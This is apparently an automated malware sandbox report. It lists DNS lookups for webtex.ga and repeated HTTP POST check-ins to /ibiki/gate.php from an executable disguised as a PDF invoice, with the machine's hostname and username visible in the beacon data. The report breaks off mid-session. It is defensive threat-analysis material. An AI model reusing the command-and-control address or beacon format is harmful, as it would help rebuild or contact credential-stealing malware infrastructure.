Dec 3, 2020 10:03:43.386657953 CET	8.8.8.8	192.168.2.3	0xef30	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:43.663877010 CET	8.8.8.8	192.168.2.3	0xf5db	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:43.984477043 CET	8.8.8.8	192.168.2.3	0x66a8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:44.374341965 CET	8.8.8.8	192.168.2.3	0x3076	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:44.646862984 CET	8.8.8.8	192.168.2.3	0xa64f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:44.947272062 CET	8.8.8.8	192.168.2.3	0x18d1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:45.226454020 CET	8.8.8.8	192.168.2.3	0x16fc	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:45.740957022 CET	8.8.8.8	192.168.2.3	0xf333	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:46.297924995 CET	8.8.8.8	192.168.2.3	0x8a44	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:46.772357941 CET	8.8.8.8	192.168.2.3	0x24bd	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:47.294194937 CET	8.8.8.8	192.168.2.3	0x44ed	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:47.856794119 CET	8.8.8.8	192.168.2.3	0xa991	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:48.421653986 CET	8.8.8.8	192.168.2.3	0x7ed0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:48.973506927 CET	8.8.8.8	192.168.2.3	0xed25	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:49.368880033 CET	8.8.8.8	192.168.2.3	0x1f9b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:49.680624962 CET	8.8.8.8	192.168.2.3	0xdd43	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:50.319664955 CET	8.8.8.8	192.168.2.3	0x4dcb	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:50.679482937 CET	8.8.8.8	192.168.2.3	0x3c4c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:51.212004900 CET	8.8.8.8	192.168.2.3	0xc3f4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:51.724632978 CET	8.8.8.8	192.168.2.3	0x9b59	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:51.989200115 CET	8.8.8.8	192.168.2.3	0x1aca	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:52.518933058 CET	8.8.8.8	192.168.2.3	0xcf36	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:53.110177994 CET	8.8.8.8	192.168.2.3	0xa9fe	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:53.719638109 CET	8.8.8.8	192.168.2.3	0xbf15	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:53.991311073 CET	8.8.8.8	192.168.2.3	0x86cd	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:54.549211979 CET	8.8.8.8	192.168.2.3	0xb35e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:55.132646084 CET	8.8.8.8	192.168.2.3	0xf4f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:55.829653025 CET	8.8.8.8	192.168.2.3	0xa750	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:56.092653990 CET	8.8.8.8	192.168.2.3	0x2127	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:56.611583948 CET	8.8.8.8	192.168.2.3	0xaf39	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:57.127315044 CET	8.8.8.8	192.168.2.3	0x9ef3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:57.665216923 CET	8.8.8.8	192.168.2.3	0x6144	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:58.260405064 CET	8.8.8.8	192.168.2.3	0x7360	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:58.526932001 CET	8.8.8.8	192.168.2.3	0xc4a6	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:58.794562101 CET	8.8.8.8	192.168.2.3	0x3dd1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.076771021 CET	8.8.8.8	192.168.2.3	0x5da	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.353662014 CET	8.8.8.8	192.168.2.3	0x9a3e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.636375904 CET	8.8.8.8	192.168.2.3	0x8d7f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.915659904 CET	8.8.8.8	192.168.2.3	0x3864	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:00.191922903 CET	8.8.8.8	192.168.2.3	0x3309	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:00.484050989 CET	8.8.8.8	192.168.2.3	0xf0db	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:00.766160965 CET	8.8.8.8	192.168.2.3	0x4800	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:01.144134998 CET	8.8.8.8	192.168.2.3	0x9a8f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:01.448929071 CET	8.8.8.8	192.168.2.3	0x674b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:01.737176895 CET	8.8.8.8	192.168.2.3	0x6b11	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.042148113 CET	8.8.8.8	192.168.2.3	0xb6d9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.409003019 CET	8.8.8.8	192.168.2.3	0xf523	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.688880920 CET	8.8.8.8	192.168.2.3	0xc521	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.969583988 CET	8.8.8.8	192.168.2.3	0xd047	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:03.259670019 CET	8.8.8.8	192.168.2.3	0x7eb0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:03.532891989 CET	8.8.8.8	192.168.2.3	0xf399	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:03.822348118 CET	8.8.8.8	192.168.2.3	0x1a21	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.101543903 CET	8.8.8.8	192.168.2.3	0xf5b1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.391450882 CET	8.8.8.8	192.168.2.3	0xf389	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.674464941 CET	8.8.8.8	192.168.2.3	0xd7e2	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.942394018 CET	8.8.8.8	192.168.2.3	0x9e4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:05.226393938 CET	8.8.8.8	192.168.2.3	0xbd95	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:05.510657072 CET	8.8.8.8	192.168.2.3	0x5da6	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:05.796542883 CET	8.8.8.8	192.168.2.3	0xcb30	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.101805925 CET	8.8.8.8	192.168.2.3	0x8b25	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.380043030 CET	8.8.8.8	192.168.2.3	0x181a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.662600994 CET	8.8.8.8	192.168.2.3	0x37ca	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.977004051 CET	8.8.8.8	192.168.2.3	0x8014	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:07.251466990 CET	8.8.8.8	192.168.2.3	0x38f9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:07.552763939 CET	8.8.8.8	192.168.2.3	0xd334	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:07.835998058 CET	8.8.8.8	192.168.2.3	0x7f82	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:08.244343996 CET	8.8.8.8	192.168.2.3	0x877	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:08.525451899 CET	8.8.8.8	192.168.2.3	0xa0f9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:08.805875063 CET	8.8.8.8	192.168.2.3	0x15b0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.084884882 CET	8.8.8.8	192.168.2.3	0x5fcc	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.352477074 CET	8.8.8.8	192.168.2.3	0x99c0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.641357899 CET	8.8.8.8	192.168.2.3	0x7e55	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.928231001 CET	8.8.8.8	192.168.2.3	0x99f5	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:10.217499018 CET	8.8.8.8	192.168.2.3	0xa059	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:10.486563921 CET	8.8.8.8	192.168.2.3	0x80e6	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:10.763757944 CET	8.8.8.8	192.168.2.3	0x29c1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.050237894 CET	8.8.8.8	192.168.2.3	0xac48	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.417982101 CET	8.8.8.8	192.168.2.3	0x9904	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.696677923 CET	8.8.8.8	192.168.2.3	0x3918	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.971090078 CET	8.8.8.8	192.168.2.3	0xb0f3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:12.274544001 CET	8.8.8.8	192.168.2.3	0x18e8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:12.612289906 CET	8.8.8.8	192.168.2.3	0x5ef8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:12.891649008 CET	8.8.8.8	192.168.2.3	0x7295	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:13.171314955 CET	8.8.8.8	192.168.2.3	0x938a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:13.482465029 CET	8.8.8.8	192.168.2.3	0x33f4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:13.800709963 CET	8.8.8.8	192.168.2.3	0x2cb5	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.097882986 CET	8.8.8.8	192.168.2.3	0xcfa8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.383955002 CET	8.8.8.8	192.168.2.3	0x6ed3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.670947075 CET	8.8.8.8	192.168.2.3	0x311a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.937441111 CET	8.8.8.8	192.168.2.3	0x4c98	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:15.214709044 CET	8.8.8.8	192.168.2.3	0x82a5	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:15.492562056 CET	8.8.8.8	192.168.2.3	0x1bb4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:15.769968987 CET	8.8.8.8	192.168.2.3	0xc751	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:16.049843073 CET	8.8.8.8	192.168.2.3	0x693f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:16.544792891 CET	8.8.8.8	192.168.2.3	0xaae8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:16.847960949 CET	8.8.8.8	192.168.2.3	0x6ea	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:17.139122009 CET	8.8.8.8	192.168.2.3	0xdaf3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:17.860759974 CET	8.8.8.8	192.168.2.3	0x6912	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:18.159993887 CET	8.8.8.8	192.168.2.3	0xbb4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:19.942914009 CET	8.8.8.8	192.168.2.3	0x48f0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:20.253314972 CET	8.8.8.8	192.168.2.3	0x58eb	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:20.528146982 CET	8.8.8.8	192.168.2.3	0x58e2	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:20.830697060 CET	8.8.8.8	192.168.2.3	0xfb15	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:21.274955034 CET	8.8.8.8	192.168.2.3	0xfcdd	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:21.554297924 CET	8.8.8.8	192.168.2.3	0xe84c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:21.880640030 CET	8.8.8.8	192.168.2.3	0xaff7	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:22.148855925 CET	8.8.8.8	192.168.2.3	0xbb16	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:22.421103954 CET	8.8.8.8	192.168.2.3	0x7419	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:22.746226072 CET	8.8.8.8	192.168.2.3	0x1e85	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:23.007875919 CET	8.8.8.8	192.168.2.3	0x1d6f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:23.281064034 CET	8.8.8.8	192.168.2.3	0x4e1c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:23.568725109 CET	8.8.8.8	192.168.2.3	0xbd95	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:23.843622923 CET	8.8.8.8	192.168.2.3	0x617a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:24.133373022 CET	8.8.8.8	192.168.2.3	0xc7ce	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:24.422159910 CET	8.8.8.8	192.168.2.3	0x35d2	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:24.713453054 CET	8.8.8.8	192.168.2.3	0x98b3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:25.332806110 CET	8.8.8.8	192.168.2.3	0xbedc	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:25.756966114 CET	8.8.8.8	192.168.2.3	0x908b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

webtex.ga

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49709	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:28.939497948 CET	64	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 190 Connection: close
Dec 3, 2020 10:02:28.956579924 CET	64	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: 'ckav.ruhardz436432DESKTOP-716T771k08F9C4E9C79A3B52B3F739430t2Q5c
Dec 3, 2020 10:02:29.004054070 CET	65	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:46 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 15 Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49710	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:29.293359995 CET	66	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 190 Connection: close
Dec 3, 2020 10:02:29.310045958 CET	66	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: 'ckav.ruhardz436432DESKTOP-716T771+08F9C4E9C79A3B52B3F739430iyac2
Dec 3, 2020 10:02:29.459626913 CET	66	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:46 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 15 Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49719	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:32.765127897 CET	78	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:32.781712055 CET	78	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:32.824419975 CET	79	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:50 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.3	49822	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:06.321847916 CET	324	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:06.338506937 CET	325	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:06.384399891 CET	325	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:23 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.3	49823	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:06.983531952 CET	326	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:07.000179052 CET	326	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:07.036550045 CET	326	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:24 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.3	49825	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:07.247567892 CET	334	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:07.264730930 CET	334	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:07.307060957 CET	335	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:24 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.3	49826	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:07.514055967 CET	389	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:07.532093048 CET	389	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:07.577130079 CET	390	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:24 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.3	49828	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:07.815653086 CET	456	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
